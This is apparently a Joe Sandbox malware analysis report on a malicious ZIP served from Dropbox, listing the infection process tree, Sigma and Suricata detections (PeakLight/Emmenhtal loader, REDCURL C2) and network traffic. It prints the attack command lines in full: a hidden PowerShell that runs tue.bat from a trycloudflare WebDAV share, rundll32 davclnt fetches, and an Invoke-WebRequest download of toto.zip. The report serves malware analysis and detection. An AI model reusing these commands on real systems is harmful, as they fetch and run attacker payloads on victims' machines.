Edit tour

Windows Analysis Report
https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0

Overview

General Information

Sample URL:	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0
Analysis ID:	1541917
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: rundll32 run dll from internet

Suricata IDS alerts for network traffic

Downloads suspicious files via Chrome

Opens network shares

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 5908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1912,i,9342714929990700637,7957857642515349934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

rundll32.exe (PID: 7044 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6336 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/ MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 4912 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/ MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7072 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk MD5: EF3179D498793BF4234F708D3BE28633)

cmd.exe (PID: 4824 cmdline: "C:\Windows\System32\cmd.exe" /c start /b powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5016 cmdline: powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1668 cmdline: "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Acrobat.exe (PID: 2836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4392 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1564,i,7782112262489688426,12990874366865501672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 2040 cmdline: timeout /t 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 6880 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

rundll32.exe (PID: 1512 cmdline: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Sigma Signatures

System Summary

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", ProcessId: 6880, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }", ProcessId: 6880, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze", CommandLine: powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c start /b powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze", ProcessId: 5016, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: rundll32 run dll from internet

Source: Process started

Author: Joe Security: Data: Command: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/, CommandLine: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 6988, ProcessCommandLine: rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/, ProcessId: 6336, ProcessName: rundll32.exe

Suricata Signatures

ET MALWARE PeakLight/Emmenhtal Loader Payload Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T10:16:35.799655+0200	2055990	1	A Network Trojan was detected	192.168.2.17	58424	104.16.230.132	443	TCP
2024-10-25T10:16:49.915206+0200	2055990	1	A Network Trojan was detected	192.168.2.17	58430	104.16.230.132	443	TCP
2024-10-25T10:16:50.806401+0200	2055990	1	A Network Trojan was detected	192.168.2.17	58432	104.16.230.132	443	TCP

ET MALWARE Suspected REDCURL CnC Activity M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T10:17:12.560254+0200	2030697	1	Malware Command and Control Activity Detected	192.168.2.17	58435	104.16.230.132	443	TCP
2024-10-25T10:17:13.469353+0200	2030697	1	Malware Command and Control Activity Detected	192.168.2.17	58436	104.16.230.132	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.223.108.114:443 -> 192.168.2.17:58412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58414 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58415 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:58418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:58419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58421 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.166:443 -> 192.168.2.17:58428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.17:58442 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2055990 - Severity 1 - ET MALWARE PeakLight/Emmenhtal Loader Payload Request : 192.168.2.17:58432 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2055990 - Severity 1 - ET MALWARE PeakLight/Emmenhtal Loader Payload Request : 192.168.2.17:58424 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.17:58435 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2055990 - Severity 1 - ET MALWARE PeakLight/Emmenhtal Loader Payload Request : 192.168.2.17:58430 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.17:58436 -> 104.16.230.132:443

Source: global traffic

TCP traffic: 192.168.2.17:58411 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 173.223.108.114
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200

Source: global traffic	HTTP traffic detected: GET /scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0 HTTP/1.1Host: dl.dropboxusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+burwd2gSRS3DpE&MD=F+m3pX57 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+burwd2gSRS3DpE&MD=F+m3pX57 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /DE/bestellung-DKM00392pdf.lnk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: theme-crack-emissions-perspectives.trycloudflare.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAeTJB6GQoR3vFznZlEH0f2JYwWvPqjVxhhPZcNRxCuEa8rg2vF0%2B48tez2f%2B2ZaBCq2LMDmMhd2RqYDnZgQ%2BxO%2BCYYqrgaG4c9ODFtmn1shIOTEeSj6lTMoJ22RdI83MoMGqn7ZzTa5ywHlxMlUgzz2PTgBOTPK6FN1x%2Bv5aY%2BAqQlWGJQyhrvJR1ynwLYow4udbf%2Bt5XF7wdXy%2BdmAWA8AHlzXs8HZ6ZKCjmDTtNIwUvZVO1990xqukNh4hthSqVqWhtehTkACCLiRDzJvnWn/3MYPSxap3omIguycIVu3jnipHXN05qZW%2BP8aYQay9ddn2SzW6lkRXfea0OevD%2BHcQZgAAEGWEtZJPhf/IgR%2B72EZr4tiwAZOG/sn2HWBKXFYU4/oKI1Sqw9fYWGfbjkeosWd9hw%2BDC4hR/mGSyt%2B03As/9aXmz5YH6XTV0pNi30ZLy4ZFX/iIB4svD2kMWUxhDTTejlgjgnzHJacikhh42nA46f1fNg4CxR/FwhDYblDTPgAkStTho8biFQamjQOOvBRjEc1W0Gnh26rtIw2CwB3ErC0PwcshYCjpXxo/zwTAeJOFdpcjXUDVHe27g%2B71OkuzyGEG7NkTQhTSKy3zei5TSOQVZzbvAc2eXPbOBNFnqD0CeVP4Te2GEQrYq%2BUeWd/vW2xGbe90GiSV9N975/wF/o%2BhdMieHOegaLIw5mxhMVZJw6mXgAgytNOb39FhQu5ll6ZmFkne95amvgOTcr5AXKPLCIezgzqRipCHoD74VNfoyB4JPq/38Uhwgh2c4tMoXrF%2B8bijhGem%2BLq7QK9PSOkeTybpWOwYm2WKmqdjLUaNHD5LY3oCjVTsJT23SQ/SIeb8aJc6s9ZOUtL2uclqBs/dMYMA0Zlkz2xp1Qfcw01Hi1qGtrHubkawh59S1lXd3m7gxdmTnee0ZFBGL41cySdnFNoB%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1729844189User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 22FB18B5D25C449CA38B28C3BD9A9077X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /tue.bat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: theme-crack-emissions-perspectives.trycloudflare.com
Source: global traffic	HTTP traffic detected: GET /toto.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: retailer-indicators-resume-key.trycloudflare.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT

Source: global traffic	DNS traffic detected: DNS query: dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: retailer-indicators-resume-key.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:16:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 8d80c3ed2f474677-DFWCF-Cache-Status: DYNAMICServer: cloudflare

Source: 77EC63BDA74BD0D0E0426DC8F80085060.34.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000024.00000002.2402487121.0000013E46D58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000024.00000002.2355149096.0000013E38180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://retailer-indicators-resume-key.trycloudflare.com
Source: powershell.exe, 00000024.00000002.2355149096.0000013E36BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2406744856.0000013E4EBF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.34.dr	String found in binary or memory: http://x1.i.lencr.org/
